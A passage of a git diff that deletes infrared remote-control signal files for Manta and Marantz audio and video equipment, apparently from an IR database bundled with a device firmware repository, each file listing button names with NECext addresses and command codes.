-protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir deleted file mode 100644 index ffd60fbe5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_LIGHTS_TOGGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: step -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: rev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: lr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: np -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir deleted file mode 100644 index 8e193f594..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_ATT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: SPEAKER_A/B -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: LOUDNESS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 32 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: EXIT_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 -# -name: ENTER_(OK) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 57 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir deleted file mode 100644 index 5c61a80b4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER/LINE_1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir deleted file mode 100644 index 16d6fb61b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORDER_2_(TAPE) -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir deleted file mode 100644 index 0b8404dd8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir deleted file mode 100644 index 7e5120d8b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORDER_2_(MD) -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir deleted file mode 100644 index 402b6677e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORDER_1_(CD-R) -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir deleted file mode 100644 index 9d483e9f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: SCROLL/RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: BACKWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 37 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 38 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 39 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 40 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 41 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 -# -name: PREVIOUS_DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir deleted file mode 100644 index a2655afb7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: AMS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: OPEN/EJECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: CATEGORY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 5C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 6D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir deleted file mode 100644 index 9c5e77b23..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/CD Player/20,-1.ir +++ /dev/null @@ -1,746 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: FIGURE_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: FIGURE_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: FIGURE_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: FIGURE_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: FIGURE_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: FIGURE_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: FIGURE_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: FIGURE_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: FIGURE_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: FIGURE_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: FIGURE_10/0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0A 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: POWER_ON/STANDBY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: SCROLL/RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: PLAY_MODE_REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: DISK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1F 00 00 00 -# -name: SONG+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SONG- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 24 00 00 00 -# -name: PITCH_RESET -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 25 00 00 00 -# -name: PROGRAM_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 25 00 00 00 -# -name: PITCH_+_(FOLDER_+) -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 26 00 00 00 -# -name: PROGRAM_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 26 00 00 00 -# -name: PITCH_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 26 00 00 00 -# -name: PITCH_-_(FOLDER_-) -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: PROGRAM_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: PITCH_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: PROGRAM_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 28 00 00 00 -# -name: PROGRAM_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: PROGRAM_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: INTRO_SCAN_(AMS) -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: AMS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: OPEN/EJECT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: DELETE/CANCEL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 31 00 00 00 -# -name: BACKWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: POWER_ON_(PLAY) -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 37 00 00 00 -# -name: DISK_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 37 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 38 00 00 00 -# -name: DISK_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 38 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 39 00 00 00 -# -name: DISK_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 39 00 00 00 -# -name: REPEAT_A/B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 40 00 00 00 -# -name: DISK_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 40 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 41 00 00 00 -# -name: DISK_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 41 00 00 00 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 42 00 00 00 -# -name: DISPLAY_(DIMMER) -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: DISPLAY_DIMMER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: FOLDER_+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 50 00 00 00 -# -name: FOLDER_- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 52 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 56 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 57 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 58 00 00 00 -# -name: CATEGORY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 5C 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 68 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 6D 00 00 00 -# -name: TITLE_INPUT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 6E 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 -# -name: PREVIOUS_DISC -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 73 00 00 00 -# -name: PREVIOUS_DISK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 73 00 00 00 -# -name: FADE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Cassette 